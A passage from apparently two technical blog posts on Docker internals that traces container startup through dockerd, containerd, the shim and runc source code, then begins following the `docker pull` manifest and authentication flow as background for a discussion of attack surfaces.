    Runtimes runtimes
}

containerStart() does four things. First, it generates the container’s OCI spec [4], which determines the container’s runtime environment. Then it creates a container on the containerd side [5].

You may wonder why we still need to create another container even though we’ve already created it. Actually, these two creations are in different layers. The first is triggered by docker create ..., and it keeps metadata and config object in filesystem; it is for dockerd.

This time, the creation is for containerd-level container object. containerd inserts a record about the OCI spec and shim/runtime into the database.

After that, dockerd asks containerd to create a task [6]. A task is the containerd-level handle for the running container; creating it starts the shim daemon, which in turn creates the init process. At this point the task is created but stopped, waiting to be unblocked before it executes the entrypoint binary.

Later, it then calls tsk.Start() [7] to start the task, indirectly telling the shim daemon to unblock the init process, which finally executes the entrypoint binary and becomes the container.

// daemon/start.go
func (daemon *Daemon) containerStart(ctx context.Context, daemonCfg *configStore, container *container.Container, checkpoint string, checkpointDir string, resetRestartManager bool) (retErr error) {
    // ... container setting
    // 1. build OCI spec
    spec, err := daemon.createSpec(ctx, daemonCfg, container, mnts) // [4]
    
    // [...]
    // 2. create a container (containerd.services.containers.v1.Containers/Create)
    ctr, err := libcontainerd.ReplaceContainer(ctx, daemon.containerd, container.ID, spec, shim, createOptions, func(ctx context.Context, client *containerd.Client, c *containers.Container) error { // [5]
        // [...]
        is, ok := daemon.imageService.(*mobyc8dstore.ImageService)
        img, err := is.ResolveImage(ctx, container.Config.Image)
        // [...]
        c.Image = img.Name
        return nil
    })

    // [...]
    // 3. create a task (containerd.services.tasks.v1.Tasks/Create)
    tsk, err := ctr.NewTask(/* ... */) // [6]

    // [...]
    // 4. start the task (containerd.services.tasks.v1.Tasks/Start)
    if err := tsk.Start(context.WithoutCancel(ctx)); err != nil { // [7]
        // [...]
    }
}

1.2.1. Create the OCI spec

createSpec() generates the OCI spec. It first gets the default spec [1] and registers config-parsing callbacks [2]. Later, the callbacks are invoked to modify the OCI spec [3].

// daemon/oci_linux.go
func (daemon *Daemon) createSpec(ctx context.Context, daemonCfg *configStore, c *container.Container, mounts []container.Mount) (retSpec *specs.Spec, _ error) {
    var (
        opts []coci.SpecOpts
        s    = oci.DefaultSpec() // [1]
    )
    opts = append(opts,
        withCommonOptions(daemon, &daemonCfg.Config, c), // [2]
        // [...]
    )
    // set options callback
    return &s, coci.ApplyOpts(ctx, daemon.containerdClient, &containers.Container{ // <--------
        ID:          c.ID,
        Snapshotter: snapshotter,
        SnapshotKey: snapshotKey,
    }, &s, opts...)
}

func ApplyOpts(ctx context.Context, client Client, c *containers.Container, s *Spec, opts ...SpecOpts) error {
    for _, o := range opts {
        if err := o(ctx, client, c, s); err != nil { // [3]
            return err
        }
    }

    return nil
}

Most fields described by the default spec [4] are the same as the finally generated JSON config if you don’t pass additional options.

// daemon/pkg/oci/defaults.go
func DefaultSpec() specs.Spec {
    // [...]
    return DefaultLinuxSpec()
}

func DefaultLinuxSpec() specs.Spec {
    return specs.Spec{ // [4]
        // [...]
        Process: &specs.Process{
            Capabilities: &specs.LinuxCapabilities{
                Bounding:  caps.DefaultCapabilities(),
                Permitted: caps.DefaultCapabilities(),
                Effective: caps.DefaultCapabilities(),
            },
        },
        // [...]
    }
}

1.2.2. Save Container Metadata into DB

The .ReplaceContainer() call is internally wrapped into a "/containerd.services.containers.v1.Containers/Create" request and sent to containerd [1].

// daemon/internal/libcontainerd/replace.go
func ReplaceContainer(ctx context.Context, client types.Client, id string, spec *specs.Spec, shim string, runtimeOptions any, opts ...containerd.NewContainerOpts) (types.Container, error) {
    newContainer := func() (types.Container, error) {
        return client.NewContainer(ctx, id, spec, shim, runtimeOptions, opts...)
    }
    ctr, err := newContainer() // <--------
    // [...]
}

// vendor/github.com/containerd/containerd/api/services/containers/v1/containers_grpc.pb.go
func (c *containersClient) Create(ctx context.Context, in *CreateContainerRequest, opts ...grpc.CallOption) (*CreateContainerResponse, error) {
    out := new(CreateContainerResponse)
    err := c.cc.Invoke(ctx, "/containerd.services.containers.v1.Containers/Create", in, out, opts...) // [1]
    // [...]
}

On the containerd side, _Containers_Create_Handler() is called to save the container object into the boltdb (/var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db) [2].

bbolt is an embedded key/value database for Go, and here it is used as a metadata store by containerd.

// api/services/containers/v1/containers_grpc.pb.go
func _Containers_Create_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
    // [...]
    info := &grpc.UnaryServerInfo{
        Server:     srv,
        FullMethod: "/containerd.services.containers.v1.Containers/Create",
    }
    handler := func(ctx context.Context, req interface{}) (interface{}, error) {
        return srv.(ContainersServer).Create(ctx, req.(*CreateContainerRequest)) // <--------
    }
    // [...]
}

// plugins/services/containers/local.go
func (l *local) Create(ctx context.Context, req *api.CreateContainerRequest, _ ...grpc.CallOption) (*api.CreateContainerResponse, error) {
    // [...]
    if err := l.withStoreUpdate(ctx, func(ctx context.Context) error { // [2]
        container := containerFromProto(req.Container)
        // [...]
        created, err := l.Store.Create(ctx, container)
        resp.Container = containerToProto(&created)
        // [...]
        return nil
    })
}

The container object here is different from dockerd’s. containerd’s container object is a runtime metadata record (ID, Runtime, Snapshotter, Image, Spec, Labels, …). They are persisted independently in different stores.

// core/containers/containers.go
type Container struct {
    // [...]
    Spec typeurl.Any
    // [...]
}

If you are interested in how the DB entry looks, you can first install the bbolt CLI:

go install go.etcd.io/bbolt/cmd/bbolt@latest

It allows you to view the entry content from meta.db.

# [Check database file integrity]
bbolt check meta.db
## Response: OK

# [List the bucket]
bbolt buckets meta.db
## Response: v1

# [List and get keys]
bbolt keys meta.db v1
## Response:
##  moby
##  moby_history
##  version
##
## PS. moby and moby_history are sub-buckets

bbolt keys meta.db v1 moby containers
## Response:
##  db58127f96bd2c5655eb53f516ba7efeafac3c7335c5f2389e2b8a329e034b11

bbolt keys meta.db v1 moby containers db58127f96bd2c5655eb53f516ba7efeafac3c7335c5f2389e2b8a329e034b11 spec
## Response:
##  0a3674797065732e636f6e7461...(lots hex value)
## decoded: .. "ociVersion":"1.3.0","process":{"terminal":true,"consoleSize":{"height":50,"width":212}, ...

1.2.3. Create Bundle & Spawn shim Daemon

ctr.NewTask() ends up as a "/containerd.services.tasks.v1.Tasks/Create" request to containerd.

The handler Create() first gets the container object from the boltdb meta.db [1] and sets up the create options [2]. Finally, rtime.Create() is called with these options [3].

// plugins/services/tasks/local.go
func (l *local) Create(ctx context.Context, r *api.CreateTaskRequest, _ ...grpc.CallOption) (*api.CreateTaskResponse, error) {
    container, err := l.getContainer(ctx, r.ContainerID) // [1]
    // [...]
    opts := runtime.CreateOpts{ // [2]
        Spec: container.Spec,
        IO: runtime.IO{
            Stdin:    r.Stdin,
            Stdout:   r.Stdout,
            Stderr:   r.Stderr,
            Terminal: r.Terminal,
        },
        // [...]
        Runtime:         container.Runtime.Name,
        // [...]
    }
    // [...]
    rtime := l.v2Runtime
    c, err := rtime.Create(ctx, r.ContainerID, opts) // [3]
    // [...]
}

Inside Create(), NewBundle() is called to create the runtime container directories and files [4]. Later, m.manager.Start() [5] spawns a containerd-shim-runc-v2 process as the container shim daemon. Finally, shimTask.Create() sends a CreateTaskRequest to the shim daemon, which in turn executes the command run create --bundle .

// core/runtime/v2/task_manager.go
func (m *TaskManager) Create(ctx context.Context, taskID string, opts runtime.CreateOpts) (_ runtime.Task, retErr error) {
    // [...]
    bundle, err := NewBundle(ctx, m.root, m.state, taskID, opts.Spec) // [4]
    shim, err := m.manager.Start(ctx, taskID, bundle, opts) // [5]
    shimTask, err := newShimTask(shim)
    // [...]
    t, err := func() (runtime.Task, error) {
        t, err := shimTask.Create(ctx, opts) // [6]
        // [...]
    }()
}

The OCI config file is created in NewBundle() with the path "/run/containerd/io.containerd.runtime.v2.task///config.json" [7].

// core/runtime/v2/bundle.go
func NewBundle(ctx context.Context, root, state, id string, spec typeurl.Any) (b *Bundle, err error) {
    // [...]
    ns, err := namespaces.NamespaceRequired(ctx) // ns == "moby"
    b = &Bundle{
        ID:        id,
        Path:      filepath.Join(state, ns, id), // state == "/run/containerd/io.containerd.runtime.v2.task/"
                                                 // id == ""
        // [...]
    }
    // [...]
    if spec != nil {
        if spec := spec.GetValue(); spec != nil {
            // [...]
            specPath := filepath.Join(b.Path, oci.ConfigFilename)
            err = os.WriteFile(specPath, spec, 0666) // [7]
        }
    }
    // [...]
}

The actual command for spawning a shim process looks like:

/usr/bin/containerd-shim-runc-v2 \
-namespace moby \
-address /run/containerd/containerd.sock \
-publish-binary /usr/bin/containerd \
-id 636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5 \
start

The arguments of the command executed by the shim daemon to create a container consist of the global part (before create) and the sub-command part (after create).

/usr/bin/runc \
--root /var/run/docker/runtime-runc/moby \
--log /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/log.json \
--log-format json \
--systemd-cgroup \
create \
--bundle /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5 \
--pid-file /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/init.pid \
636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5

1.2.4. Enter the Container

In the final step, tsk.Start() is called to send a "/containerd.services.tasks.v1.Tasks/Start" request to containerd, whose handler is Start() in local.go.

This function first looks up the running task [1] and then sends a StartRequest to the shim daemon to start the container [2].

// plugins/services/tasks/local.go
func (l *local) Start(ctx context.Context, r *api.StartRequest, _ ...grpc.CallOption) (*api.StartResponse, error) {
    t, err := l.getTask(ctx, r.ContainerID) // [1]
    // [...]
    p := runtime.Process(t)
    // [...]
    if err := p.Start(ctx); err != nil { // <--------
        // [...]
    }
    // [...]
}

// core/runtime/v2/shim.go
func (s *shimTask) Start(ctx context.Context) error {
    _, err := s.task.Start(ctx, &task.StartRequest{ // [2]
        ID: s.ID(),
    })
    // [...]
}

On the shim daemon side, the command runc start is executed to unblock the init process that runc create left parked just before execve().

The actual command line looks like:

/usr/bin/runc \
--root /var/run/docker/runtime-runc/moby \
--log /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/log.json \
--log-format json \
--systemd-cgroup \
start \
636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5

2. Runc Internal

Here, we try to understand how runc loads the container by reviewing the source code.

2.1. Cmd: create

The command “create” handler is startContainer(). It indirectly calls start(), which in turn calls createExecFifo() [1] to create a FIFO file and builds the init command by calling newParentProcess() [2]. Finally, parent.start() is called to execute runc init [3].

// create.go
var createCommand = &cli.Command{
    Name:  "create",
    Action: func(_ context.Context, cmd *cli.Command) error {
        // [...]
        status, err := startContainer(cmd, CT_ACT_CREATE, nil) // <--------
        // [...]
    },
}

// libcontainer/container_linux.go
func (c *Container) start(process *Process) (retErr error) {
    if process.Init {
        // [...]
        if err := c.createExecFifo(); err != nil { // [1]
            return err
        }
        // [...]
    }

    // [...]
    parent, err := c.newParentProcess(process) // [2]

    if err := parent.start(); err != nil { // [3]
        // [...]
    }
}

newParentProcess() prepares the command line for /proc/self/fd/ init. The command and process information are wrapped into an initProcess object and returned [4].

// libcontainer/container_linux.go
func (c *Container) newParentProcess(p *Process) (parentProcess, error) {
    else {
        // [...]
        safeExe, err = exeseal.CloneSelfExe(c.stateDir)
        // [...]
        exePath = "/proc/self/fd/" + strconv.Itoa(int(safeExe.Fd()))
        // [...]
    }
    cmd := exec.Command(exePath, "init")
    cmd.Args[0] = os.Args[0]
    // [...]
    if p.Init {
        // [...]
        return c.newInitProcess(p, cmd, comm) // [4]
    }
}

parent.start() is then called to fork a child process and execve runc init [5].

Now there are two processes. The child (runc init) is the one that enters the new namespaces and sets up the container environment from the inside, such as mounting the filesystem and applying seccomp rules. It is the same process that will later execve the user’s command.

The parent stays on the host as a privileged helper, doing the things the child can’t do once it’s inside the namespaces: applying cgroups, providing the uid/gid maps, and running host-side hooks.

The two coordinate over a sync socket p.comm.syncSockParent [6]. Once the child is ready, the parent will receive the procReady event [7] and exit.

// libcontainer/process_linux.go
func (p *initProcess) start() (retErr error) {
    // [...]
    err := p.cmd.Start() // [5]

    // [...]
    if err := p.manager.Apply(p.pid()) // set up cgroups

    if err := p.createNetworkInterfaces(); err != nil {
        // [...]
    }

    if err := p.setupNetworkDevices(); err != nil {
        // [...]
    }

    if p.config.Config.HasHook(configs.CreateContainer, configs.StartContainer) {
        // [...]
    }

    ierr := parseSync(p.comm.syncSockParent /* [6] */, func(sync *syncT) error {
        case procMountPlease:
            // [...]
        case procSeccomp:
            // [...]
        case procReady: // [7]
            // [...]
        case procHooks:
            // [...]
        // [...]
    })
    // [...]
    return nil
}

Let’s see how runc init works.

2.2. Cmd: init

Before looking at the “init” implementation, we have to talk about the nsexec() constructor.

A Golang binary can use cgo to refer to C functions. Here, the nsexec() function works as a C constructor, so it is triggered before main().

// libcontainer/nsenter/nsenter.go
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
    nsexec();
}
*/
import "C"

It does nothing if there is no pipe [1], but for runc init, because its parent process (runc create) sets up this environment variable for it, it passes the check and continues to run. The comment also implies the same thing.

// libcontainer/nsenter/nsexec.c
void nsexec(void)
{
    // [...]
    pipenum = getenv_int("_LIBCONTAINER_INITPIPE");
    if (pipenum < 0) { // [1]
        /* We are not a runc init. Just return to go runtime. */
        return;
    }
    // [...]
}

This env is set to one side of the init socket pair [2] when runc create is preparing the command line of the init process.

// libcontainer/container_linux.go
func (c *Container) newParentProcess(p *Process) (parentProcess, error) {
    // [...]
    cmd.ExtraFiles = append(cmd.ExtraFiles, comm.initSockChild) // [2]
    cmd.Env = append(cmd.Env,
        "_LIBCONTAINER_INITPIPE="+strconv.Itoa(stdioFdCount+len(cmd.ExtraFiles)-1),
    )
    // [...]
}

Going back to nsexec(), we can see that it holds a complex stage machine to set up the isolated environment.

// libcontainer/nsenter/nsexec.c
void nsexec(void)
{
    // [...]
    switch (setjmp(env)) {
    case STAGE_PARENT:
    // [...]
    case STAGE_CHILD:
    // [...]
    case STAGE_INIT:
    // [...]
    }
}

The diagram below may help you understand the whole flow.

     stage-0  (STAGE_PARENT)  // in host namespaces
        |  parse netlink bootstrap (cloneflags, uid/gid maps...)
 (child)|
 +------|  clone_parent(&env, STAGE_CHILD)
 |      |
 |      |  stage-1 >> SYNC_USERMAP_PLS
 |      |                                 write /proc//uid_map, gid_map
 |      |  stage-1 << SYNC_USERMAP_ACK
 |      |
 |      |
 |      |  stage-1 >> SYNC_RECVPID_PLS
 |      |                                 receives stage-2 pid, forwards up to Go
 |      |  stage-1 << SYNC_RECVPID_ACK
 |      |  stage-1 >> SYNC_CHILD_FINISH
 |      +  exit(0)
 |
 |
 |
 +-> stage-1  (STAGE_CHILD) // inside several new namespaces
        |  setns(provided namespaces)
        |
        |  try_unshare(CLONE_NEWUSER)
        |  SYNC_USERMAP_PLS >> stage-0
        |  (waiting...)
        |  SYNC_USERMAP_ACK << stage-0
        |
        |  try_unshare(config.cloneflags)
 +------|  clone_parent(&env, STAGE_INIT)
 |      |
 |      |  SYNC_RECVPID_PLS >> stage-0
 |      |  (waiting...)
 |      |  SYNC_RECVPID_ACK << stage-0
 |      |  SYNC_CHILD_FINISH >> stage-0
 |      +  exit(0)
 |
 |
 |
 +-> stage-2  (STAGE_INIT) // inside ALL new namespaces, PID 1 in new pidns
        |  final cleanup
        +  return (and continue)

The stage-1 child is required because unshare(CLONE_NEWPID) doesn’t move itself into the new PID namespace. That is why after the stage-1 process calls setns() and unshare() all namespaces, it has to fork the stage-2 child process, whose pid is 1 in the new namespace.

In fact, init() works as initializer for init package, but this function covers all init command handling, and main() won’t be executed later. Internally, startInitialization() is called to recover file descriptors, reconstruct the init configuration, and synchronize status with its parent process, runc create.

// init.go
func init() {
    if len(os.Args) > 1 && os.Args[1] == "init" {
        libcontainer.Init() // <--------
    }
}

// libcontainer/init_linux.go
func Init() {
    // [...]
    if err := startInitialization(); err != nil { // <--------
        // [...]
    }
    // [...]
}

func startInitialization() (retErr error) {
    // [...]
    envInitPipe := os.Getenv("_LIBCONTAINER_INITPIPE")
    initPipeFd, err := strconv.Atoi(envInitPipe)
    initPipe := os.NewFile(uintptr(initPipeFd), "init") // use as Go file object
    // [...]
    var config initConfig
    if err := json.NewDecoder(initPipe).Decode(&config); err != nil {
        return err
    }
    // [...]
    return containerInit(it, &config, syncPipe, consoleSocket, pidfdSocket, fifoFile, logPipe)
}

containerInit() handles two init types. If a new container is being created, the init type will be initStandard [1]; otherwise, when attaching to an already-running container, initSetns is used [2].

// libcontainer/init_linux.go
func containerInit(t initType, config *initConfig, pipe *syncSocket, consoleSocket, pidfdSocket, fifoFile, logPipe *os.File) error {
    switch t {
    case initSetns: // [2]
        i := &linuxSetnsInit{
            // [...]
        }
        return i.Init()
    case initStandard: // [1]
        i := &linuxStandardInit{
            // [...]
        }
        return i.Init()
    }
}

runc init now is still root and has full privileges inside the namespaces. It sets up the environment inside the container, such as network routing [3] and the filesystem [4]. Later, it calls finalizeNamespace() [5] to drop capabilities, change the working directory, and close all leaked file descriptors.

Before executing the entrypoint binary [6], it reopens the FIFO file with only write permission [7], and this behavior causes runc init to be blocked until someone opens the same FIFO file with read permission.

// libcontainer/standard_init_linux.go
func (l *linuxStandardInit) Init() error {
    // [...]
    if err := setupNetwork(l.config); err != nil { // [3]
        return err
    }
    // [...]
    err := prepareRootfs(l.pipe, l.config) // [4]
    // [...]
    if err := finalizeNamespace(l.config); err != nil { // [5]
        return err
    }
    // [...]
    fifoFile, err := pathrs.Reopen(l.fifoFile, unix.O_WRONLY|unix.O_CLOEXEC) // [7]
    // [...]
    name, err := exec.LookPath(l.config.Args[0])
    // [...]
    return linux.Exec(name, l.config.Args, l.config.Env) // [6]
}

You can probably guess who the reader is. That’s right, it’s runc start!

2.3. Cmd: start

runc init is blocked and waiting for a reader, and now the status of the container is Created.

The shim handles the start-container request by executing runc start, and the action callback calls container.Exec() [1] when the status of the container is Created [2].

// start.go
var startCommand = &cli.Command{
    Name:  "start",
    Action: func(_ context.Context, cmd *cli.Command) error {
        // [...]
        container, err := getContainer(cmd)
        // [...]
        switch status {
        case libcontainer.Created: // [2]
                // [...]
            if err := container.Exec(); err != nil { // [1]
                // [...]
            }
        // [...]
        }
        // [...]
    }
}

Exec() finally calls handleFifo() [3] to open the FIFO file with read permission, which allows runc init to continue running and enter the container.

// libcontainer/container_linux.go
func (c *Container) Exec() error {
    // [...]
    return c.exec() // <--------
}

func (c *Container) exec() error {
    path := filepath.Join(c.stateDir, execFifoFilename)
    if err := handleFifo(path, c.initProcess.pid()); err != nil { // [3]
        // [...]
    }

    return c.postStart() // run Poststart hook
}

2.4. Others

If you want to test these behaviors directly by runc, you can follow the steps below.

First, create a bundle directory to save the root filesystem and config.json.

mkdir container_bundle
cd container_bundle

Then extract the root filesystem from a docker image into the rootfs directory.

docker create --name temp ubuntu:24.04
mkdir rootfs
docker export temp | tar -C rootfs -xvf -
docker rm temp

The runc “spec” command can generate a default OCI spec config.json.

runc spec

Modify config.json to update the entry command.

{
    "ociVersion": "1.2.1",
    "process": {
        ...
+       "terminal": false,
-       "terminal": true,
        "args": [
-           "sh"
+           "/usr/bin/sleep", "3600"
        ]

Now you can create a container based on the bundle.

sudo runc create --bundle . my_container_id

View the status of all containers, and our container is created.

sudo runc list
ID                PID         STATUS      BUNDLE                  CREATED                          OWNER
my_container_id   63886       created     /tmp/container_bundle   2026-06-04T03:54:00.492598105Z   root

If you list the fds of this container, you can find that there is a FIFO file.

ls -al /proc/63886/fd/
# [...]
l--------- 1 root root 64 Jun  4 11:55 7 -> /run/runc/my_container_id/exec.fifo
# [...]

After starting the container, you can see our entry command sleep 3600 is running now!

sudo runc start my_container_id

ps aux | grep sleep
root       64268  0.0  0.0   2704  1688 ?        Ss   12:05   0:00 /usr/bin/sleep 3600

3. Summary

This post covers the process of loading a container, including the implementation of runc. In the next post, I will analyze runtime replacement and the hook interfaces exposed by Docker, using the NVIDIA Toolkit as an example.

Docker Internal (2)

2026-06-02T00:00:00+00:00

In the last post, we introduced the relationship between the components in the Docker system, and in this post, we’ll discuss the attack surfaces.

1. Pull an Image

Imagine you just run docker pull and then you’ve been pwned (just an example 😝). Yeah, the first attack surface is quite straightforward: when you download a malicious image which is published by an attacker, the Docker daemon parses the metadata, extracts the compressed files, and saves them into the filesystem. During this process, the crafted file may affect host data if bugs or vulnerabilities exist.

In this post, we’ll analyze how Docker pulls an image, parses the metadata, and extracts the files. We’ll also explore potential attack surfaces in the end.

1.1. Setup Environment

To understand the image fetching process, we can run a proxy and intercept the HTTP request between the daemon and the registry server. Here, I use mitmproxy:

mitmproxy --listen-host 127.0.0.1 --listen-port 8080

And write the config below to /etc/systemd/system/docker.service.d/http-proxy.conf:

[Service]
Environment="HTTP_PROXY=http://127.0.0.1:8080"
Environment="HTTPS_PROXY=http://127.0.0.1:8080"

Then restart the dockerd daemon to reload the configuration:

sudo systemctl daemon-reload  # reload config
sudo systemctl restart docker # restart dockerd

After that, you can read the intercepted HTTP request in mitmproxy’s TUI when you run docker pull ubuntu:24.04:

1.2. Auth & HEAD Manifest

Run docker pull ubuntu:24.04 and docker (docker CLI) sends the following HTTP request to dockerd:

POST /v1.54/images/create?fromImage=docker.io%2Flibrary%2Fubuntu&tag=24.04
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 0
X-Registry-Auth: e30=

The pull image request is handled by the "/images/create" endpoint of dockerd, whose handler is postImagesCreate().

// daemon/server/router/image/image.go
func (ir *imageRouter) initRoutes() {
    ir.routes = []router.Route{
        // [...]
        router.NewPostRoute("/images/create", ir.postImagesCreate),
    }
}

pullTag() is called internally, and it creates a resolver object [1] and pulls the target image [2].

// daemon/server/router/image/image_routes.go
func (ir *imageRouter) postImagesCreate(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if img != "" {
        // ref = "docker.io/library/ubuntu:24.04" in here
        progressErr = ir.backend.PullImage(ctx, ref, pullOptions) // <--------
    }
    // [...]
}

// daemon/containerd/image_pull.go
func (i *ImageService) PullImage(ctx context.Context, baseRef reference.Named, options imagebackend.PullOptions) (retErr error) {
    // [...]
    if !reference.IsNameOnly(baseRef) { // "docker.io/library/ubuntu:24.04" has tag "24.04"
        return i.pullTag(ctx, baseRef, platform, options.MetaHeaders, options.AuthConfig, out) // <--------
    }
    // [...]
}

func (i *ImageService) pullTag(ctx context.Context, ref reference.Named, platform *ocispec.Platform, metaHeaders map[string][]string, authConfig *registrytypes.AuthConfig, out progress.Output) error {
    // [...]
    resolver, _ := i.newResolverFromAuthConfig(ctx, authConfig, ref, metaHeaders) // [1]
    opts = append(opts, containerd.WithResolver(resolver))
    // [...]
    img, err := i.client.Pull(ctx, ref.String(), opts...) // [2]
    // [...]
}

The resolver object is allocated and initialized by newResolverFromAuthConfig(), and eventually a dockerResolver object is returned [3].

// daemon/containerd/resolver.go
func (i *ImageService) newResolverFromAuthConfig(ctx context.Context, authConfig *registrytypes.AuthConfig, ref reference.Named, metaHeaders http.Header) (remotes.Resolver, docker.StatusTracker) {
    // [...]
    /**
     * i.registryHosts
     * == (daemon/containerd/service.go) config.RegistryHosts
     * == (daemon/daemon.go) d.RegistryHosts
     * == (daemon/hosts.go) func (daemon *Daemon) RegistryHosts(host string)
     */
    hosts := hostsWrapper(i.registryHosts, authConfig, ref)
    // [...]
    return docker.NewResolver(docker.ResolverOptions{ // <--------
        Hosts:   hosts, // hosts == a wraper function of RegistryHosts()
        Tracker: tracker,
        Headers: headers,
    })
}

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func NewResolver(options ResolverOptions) remotes.Resolver {
    // [...]
    return &dockerResolver{ // [3]
        hosts:         options.Hosts,
        header:        options.Headers,
        resolveHeader: resolveHeader,
        tracker:       options.Tracker,
    }
}

Pull() calls c.fetch() to download the target image [4] and then persists the image to containerd’s image metadata store [5].

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) Pull(ctx context.Context, ref string, opts ...RemoteOpt) (_ Image, retErr error) {
    // [...]
    img, err := c.fetch(ctx, pullCtx, ref, 1) // [4]
    // [...]
    img, err = c.createNewImage(ctx, img) // [5]
    // [...]
}

fetch() is the key function, and here we only focus on the rCtx.Resolver.Resolve() call. It takes the ref as a parameter, which is a string including the image name and the tag (in our case, "docker.io/library/ubuntu:24.04").

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) fetch(ctx context.Context, rCtx *RemoteContext, ref string, limit int) (images.Image, error) {
    // [...]
    name, desc, err := rCtx.Resolver.Resolve(ctx, ref)
    // [...]
}

desc is the Descriptor object, which describes a media resource. This structure is important because it not only helps you understand the standard for describing a container, but also contains the information about external resources, which may be attacker-controllable.

// vendor/github.com/opencontainers/image-spec/specs-go/v1/descriptor.go
type Descriptor struct {
    MediaType string `json:"mediaType"`
    Digest digest.Digest `json:"digest"`
    Size int64 `json:"size"`
    URLs []string `json:"urls,omitempty"`
    Annotations map[string]string `json:"annotations,omitempty"`
    Data []byte `json:"data,omitempty"`
    Platform *Platform `json:"platform,omitempty"`
    ArtifactType string `json:"artifactType,omitempty"`
}

How does Resolve() return a descriptor? It first gets the registry host based on the reference name [6], then decides which built-in paths to use [7]. It then iterates over the paths and hosts, constructing a HEAD request to the remote registry [8] and sending it [9] with a retry mechanism.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *dockerResolver) Resolve(ctx context.Context, ref string) (string, ocispec.Descriptor, error) {
    /**
     * resolveDockerBase() -> r.base(refspec) -> r.hosts(host) -> RegistryHosts(host)
     * base = { schema: "https", host: "registry-1.docker.io", ... }
     */
    base, err := r.resolveDockerBase(ref) // [6]
    // [...]
    else {
        paths = append(paths, []string{"manifests", refspec.Object}) // [7]
        caps |= HostCapabilityResolve
    }
    // [...]
    hosts := base.filterHosts(caps)
    // [...]
    for _, u := range paths { // [5]
        for i, host := range hosts {
            req := base.request(host, http.MethodHead, u...) // [8]
            // [...]
            resp, err := req.doWithRetries(ctx, true) // [9], HEAD "registry-1.docker.io/manifests"
            // [...]
        }
    }
    // [...]
}

doWithRetries() internally calls r.do(), which tries to send the request [10] and checks whether the request needs to be sent again [11].

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *request) doWithRetries(ctx context.Context, lastHost bool, checks ...doChecks) (resp *http.Response, err error) {
    resp, err = r.doWithRetriesInner(ctx, nil, lastHost) // <--------
    // [...]
    return resp
}

func (r *request) doWithRetriesInner(ctx context.Context, responses []*http.Response, lastHost bool) (*http.Response, error) {
    resp, err := r.do(ctx) // [10]
    if err != nil {
        return nil, err
    }

    responses = append(responses, resp)
    retry, err := r.retryRequest(ctx, responses, lastHost) // [11]
    // [...]
    if retry {
        // [...]
        return r.doWithRetriesInner(ctx, responses, lastHost) // call itself again if retry == true
    }
}

If the status code of the HTTP response is 401 [12], the authorizer registers a new auth handler [13] based on the authenication information extracted from response header.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *request) retryRequest(ctx context.Context, responses []*http.Response, lastHost bool) (bool, error) {
    // [...]
    last := responses[len(responses)-1]
    switch last.StatusCode {
    case http.StatusUnauthorized: // [12]
        // [...]
        if r.host.Authorizer != nil {
            if err := r.host.Authorizer.AddResponses(ctx, responses); err == nil { // <--------
                true, nil // true -> retry
            }
            // [...]
        }
        // [...]
    }
}

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/authorizer.go
func (a *dockerAuthorizer) AddResponses(ctx context.Context, responses []*http.Response) error {
    for _, c := range auth.ParseAuthHeader(last.Header) {
        if c.Scheme == auth.BearerAuth {
            /**
             * the response header is like:
             * www-authenticate: Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/ubuntu:pull"
             * so next time authorizer will first do authorization and then send the request
             */
            // [...]
            a.handlers[host] = newAuthHandler(a.client, a.header, c.Scheme, common) // [13]
            return nil
        }
        // [...]
    }
}

Since retry is equal to true, r.do(ctx) is called again. This time the auth handler is assigned, so it has to authorize against the realm host, auth.docker.io in this case, to get the auth token. Here, the Bearer authentication is used [14].

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *request) do(ctx context.Context) (*http.Response, error) {
    // [...]
    if err := r.authorize(ctx, req); err != nil { // <--------
        // [...]
    }
    // [...]
    resp, err := client.Do(req) // actually send the request
    // [...]
}

func (r *request) authorize(ctx context.Context, req *http.Request) error {
    if r.host.Authorizer != nil {
        if err := r.host.Authorizer.Authorize(ctx, req); err != nil { // <--------
            // [...]
        }
    }
    return nil
}

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/authorizer.go
func (a *dockerAuthorizer) Authorize(ctx context.Context, req *http.Request) error {
    // [...]
    ah := a.getAuthHandler(req.URL.Host)
    // [...]
    auth, refreshToken, err := ah.authorize(ctx) // <--------
    // [...]
}

func (ah *authHandler) authorize(ctx context.Context) (string, string, error) {
    switch ah.scheme {
    // [...]
    case auth.BearerAuth:
        return ah.doBearerAuth(ctx) // [14]
    // [...]
    }
}

req.doWithRetries() returns the HTTP response data to its caller, Resolve(), and the "Docker-Content-Digest" header is extracted [15] from the headers. In the end, the Resolve() wraps the response data into a descriptor [16] and returns.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *dockerResolver) Resolve(ctx context.Context, ref string) (string, ocispec.Descriptor, error) {
    // [...]
    for _, u := range paths {
